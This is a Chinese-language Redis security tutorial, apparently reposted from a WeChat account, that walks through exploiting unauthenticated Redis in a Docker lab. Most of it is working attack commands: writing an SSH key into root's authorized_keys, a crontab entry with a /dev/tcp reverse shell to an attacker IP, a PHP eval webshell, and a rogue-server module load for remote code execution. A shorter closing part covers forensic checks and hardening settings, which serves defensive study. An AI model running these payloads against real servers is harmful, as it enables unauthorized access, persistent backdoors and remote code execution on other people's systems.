文章总结: 文章在Docker靶场中系统实操Redis未授权访问利用全流程,演示通过持久化机制写入SSH公钥免密登录、写入Crontab反弹Shell、写入Web目录获取Webshell以及主从复制加载恶意模块实现RCE四种利用链,并介绍入侵后的日志审计与取证要点如检查RDB标识和MODULELIST,最后给出绑定内网地址、启用保护模式、设置强密码、禁用CONFIG与MODULE等高危命令及降权运行的加固建议。
综合评分: 75
文章分类: 渗透测试,内网渗透,应急响应,漏洞分析,安全建设
Redis 未授权访问与提权利用实操全流程
ddyy
ddyy
DD2580
2026年8月30日 23:06
四川
标题已修改
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明:本文所涉及的技术实操与配置仅用于网络安全技术研究、学术交流与防御加固实践。任何个人或组织严禁将本文内容用于非法侵入或破坏计算机系统等违法活动,违者法律责任自负,与作者及平台无关。
0x00 前言与环境准备
Redis(6379)是一款基于内存运行的高性能键值对(Key-Value)NoSQL 数据库。在设计上,Redis 默认面向受信任的内部网络。若运维人员未配置访问密码(缺失 requirepass)、监听了全局公网网卡(bind 0.0.0.0),且直接以宿主机的 root 特权用户运行服务,外部客户端即可完全绕过身份认证接入数据库。
结合 Redis 内置的持久化(RDB)机制或主从复制扩展机制,可衍生出四种经典的文件写入与代码执行利用链:
- 持久化写入 SSH 公钥:实现 root 免密登录。
- 持久化写入计划任务(Crontab):通过定时任务反弹 Shell。
- 持久化写入 Web 目录:写入 PHP 脚本并借助 Web 服务解析。
- 主从复制加载恶意模块(Module RCE):突破低权限与操作系统限制,动态加载动态链接库执行命令。
0x01 靶机环境搭建与连通性探测
- 部署 Redis 漏洞靶场容器
官方 Redis 镜像自带入口脚本自动降权机制(检测到 root 启动会自动切换为 redis 普通用户)。为了在容器内完整模拟 root 特权环境下的持久化写入场景,需使用 –entrypoint redis-server 绕过降权脚本,以真实的 root 用户启动:
# 1. 启动以 root 权限运行、未配置密码且监听全网卡的 Redis 容器sudo docker run -d \ --name redis-lab-v5 \ -u root \ -p 6379:6379 \ --entrypoint redis-server \ redis:5.0.5 --protected-mode no --bind 0.0.0.0
# 2. 在容器内创建 root 用户的 .ssh 目录以满足写公钥的前提路径sudo docker exec redis-lab-v5 mkdir -p /root/.ssh
# 3. 验证容器运行状态与端口映射sudo docker ps | grep redis-lab-v5
2.未授权连通性与信息收集
在 Kali 上安装管理客户端并对目标进行探测:
# 1. 安装 redis 客户端交互工具sudo apt update && sudo apt install -y redis-tools
# 2. 探测目标连通性与认证约束redis-cli -h 192.168.10.17 -p 6379 ping
返回 PONG,表示服务正常且无需密码直接认证成功(未授权开放)
# 3. 提取服务核心运行指纹与架构信息redis-cli -h 192.168.10.17 -p 6379 INFO Server
# 4. 探测当前生效的持久化落盘配置redis-cli -h 192.168.10.17 -p 6379 CONFIG GET dirredis-cli -h 192.168.10.17 -p 6379 CONFIG GET dbfilename
命令作用:获取当前数据落盘的默认存储目录路径与 RDB 快照文件名(默认通常为 /data 与 dump.rdb)。
0x02 持久化写入 SSH 公钥与权限
Redis 允许通过 CONFIG SET dir
1.实操步骤
# 1. 在 Kali 上生成专用测试 SSH 密钥对(回车两次生成无密码私钥)ssh-keygen -t rsa -N "" -f /tmp/id_rsa_redis
# 2. 在公钥前后填充换行符(规避 RDB 二进制头尾字符破坏公钥格式)(echo -e "\n\n"; cat /tmp/id_rsa_redis.pub; echo -e "\n\n") > /tmp/ssh_payload.txt
# 3. 将公钥内容通过管道传参写入 Redis 内存键值cat /tmp/ssh_payload.txt | redis-cli -h 192.168.10.17 -p 6379 -x set ssh_key
# 4. 篡改落盘路径为 root 用户的 .ssh 目录redis-cli -h 192.168.10.17 -p 6379 CONFIG SET dir /root/.ssh/
# 5. 修改持久化文件名为 authorized_keysredis-cli -h 192.168.10.17 -p 6379 CONFIG SET dbfilename authorized_keys
# 6. 强制将内存数据写入磁盘redis-cli -h 192.168.10.17 -p 6379 SAVE
- 验证文件落地与权限
在靶机终端查看文件生成情况:
sudo docker exec redis-lab-v5 cat /root/.ssh/authorized_keys
0x03 持久化写入计划任务(Crontab)
利用机理:通过 CONFIG SET dir /var/spool/cron/ 将持久化目录指向计划任务配置目录,文件名设置为用户名(如 root),借助换行符将定时反弹 Shell 命令写入。
首先在靶机服务器(Ubuntu) 终端执行以下命令,在容器内创建该目录:
sudo docker exec redis-lab-v5 mkdir -p /var/spool/cron
在 Kali 终端开启端口监听
nc -lvvp 4444
打开另一个 Kali 终端下发写入指令:
# 2. 写入包含换行符的反弹 Shell 计划任务(指定每分钟向攻击机反弹交互式会话)redis-cli -h 192.168.10.17 -p 6379 set cron_task "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.10.24/4444 0>&1\n\n"
# 3. 将落盘目录更改为系统 Cron 目录(CentOS 路径为 /var/spool/cron/)redis-cli -h 192.168.10.17 -p 6379 CONFIG SET dir /var/spool/cron/
# 4. 指定落盘文件名为 root 并刷盘redis-cli -h 192.168.10.17 -p 6379 CONFIG SET dbfilename rootredis-cli -h 192.168.10.17 -p 6379 SAVE
在靶机终端查看文件生成情况:
sudo docker exec redis-lab-v5 cat /var/spool/cron/root
当前 Docker 容器采用单进程运行架构,后台并未常驻运行 cron 调度守护进程,所以未能自动反弹回shell
0x04 持久化写入 Web 目录 Webshell
靶机部署有 Web 环境(如 Nginx/Apache + PHP),已知网站根目录绝对物理路径(如 /var/www/html/),且 Redis 运行用户对该目录具有写权限。
手动创建该目录,即可模拟存在 Web 站点的场景
sudo docker exec redis-lab-v5 mkdir -p /var/www/html
# 1. 更改持久化落盘目录为 Web 绝对物理路径redis-cli -h 192.168.10.17 -p 6379 CONFIG SET dir /var/www/html/
# 2. 修改持久化文件名为 PHP 脚本redis-cli -h 192.168.10.17 -p 6379 CONFIG SET dbfilename shell.php
# 3. 写入包含换行符的 PHP 探针代码redis-cli -h 192.168.10.17 -p 6379 set webshell_key "\n\n<?php @eval(\$_POST['cmd']); phpinfo(); ?>\n\n"
# 4. 强制刷盘保存redis-cli -h 192.168.10.17 -p 6379 SAVE
在靶机终端查看生成的 Webshell 文件:
sudo docker exec redis-lab-v5 cat /var/www/html/shell.php
通过浏览器或工具向(http://192.168.10.17/shell.php) 发起 HTTP POST 请求传入 cmd 参数,即可获取 WebShell 权限。
0x05 主从复制加载恶意模块
无需依赖系统计划任务、SSH 认证或 Web 目录,即便 Redis 运行在普通低权限用户下,也可直接在 Redis 进程内部动态注入代码并执行命令。
kali执行:
# 步骤 1:克隆开源验证工具仓库cd /tmpgit clone https://gh-proxy.com/https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-server/RedisModulesSDK/exp
# 步骤 2:直接使用 Kali 自带的 make 编译出 exp.so 动态链接库# 补全头文件sed -i '1i #include <string.h>\n#include <arpa/inet.h>' exp.cmakels -lh exp.so
# 步骤 3:修复脚本编码并返回工具根目录,运行利用脚本(指定 Kali IP 与监听端口)cd ../..sed -i "s/'gb18030'/'latin-1'/g" redis-rogue-server.pysed -i 's/"gb18030"/"latin-1"/g' redis-rogue-server.pypython3 redis-rogue-server.py \ --rhost 192.168.10.17 \ --rport 6379 \ --lhost 192.168.10.24 \ --lport 21000 \ --exp ./RedisModulesSDK/exp/exp.so
0x06 攻击日志审计与应急取证分析
当主机疑似发生 Redis 未授权入侵时,应按以下维度提取证据链:
- 提取 Redis 服务运行日志
sudo docker logs redis-lab-v5 --tail 50
- Redis 内存与配置状态取证
# 1. 提取高危管理命令历史redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 20
# 2. 检查落盘路径与文件名是否异常redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dirredis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename
# 3. 检查当前加载的外部模块redis-cli -h 127.0.0.1 -p 6379 MODULE LIST
3.提取容器/系统运行日志中的异常同步与模块加载痕迹
# 检查落地文件头是否包含 Redis RDB 专属二进制标识sudo docker exec redis-lab-v5 head -n 2 /root/.ssh/authorized_keyssudo docker exec redis-lab-v5 head -n 2 /var/spool/cron/root
纯文本配置文件(SSH 公钥/Crontab)头部若检测到 REDIS000x 二进制标记,可直接确认为通过 Redis 写入生成的恶意文件。
0x7 加固方案以及清理靶场
编辑 Redis 配置文件 /etc/redis/redis.conf,落实以下基线加固策略:
# 1. 严格收敛监听网卡(禁止绑定 0.0.0.0)bind 127.0.0.1 192.168.10.17
# 2. 启用保护模式protected-mode yes
# 3. 强制配置高强度认证密码requirepass Complex_Redis_P@ssw0rd_2026!
# 4. 禁用或重命名高危管理指令(阻断 Module 注入与写盘)rename-command CONFIG ""rename-command FLUSHALL ""rename-command FLUSHDB ""rename-command MODULE ""rename-command SLAVEOF ""rename-command REPLICAOF ""rename-command SAVE ""
运行身份降权:严格禁止以 root 特权用户启动 Redis,在操作系统层面配置专属的低特权用户(如 redis)运行服务。
测试完成后停止并销毁靶场容器:
sudo docker stop redis-lab-v5 && sudo docker rm redis-lab-v5
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:DD2580 ddyy
ddyy《Redis 未授权访问与提权利用实操全流程》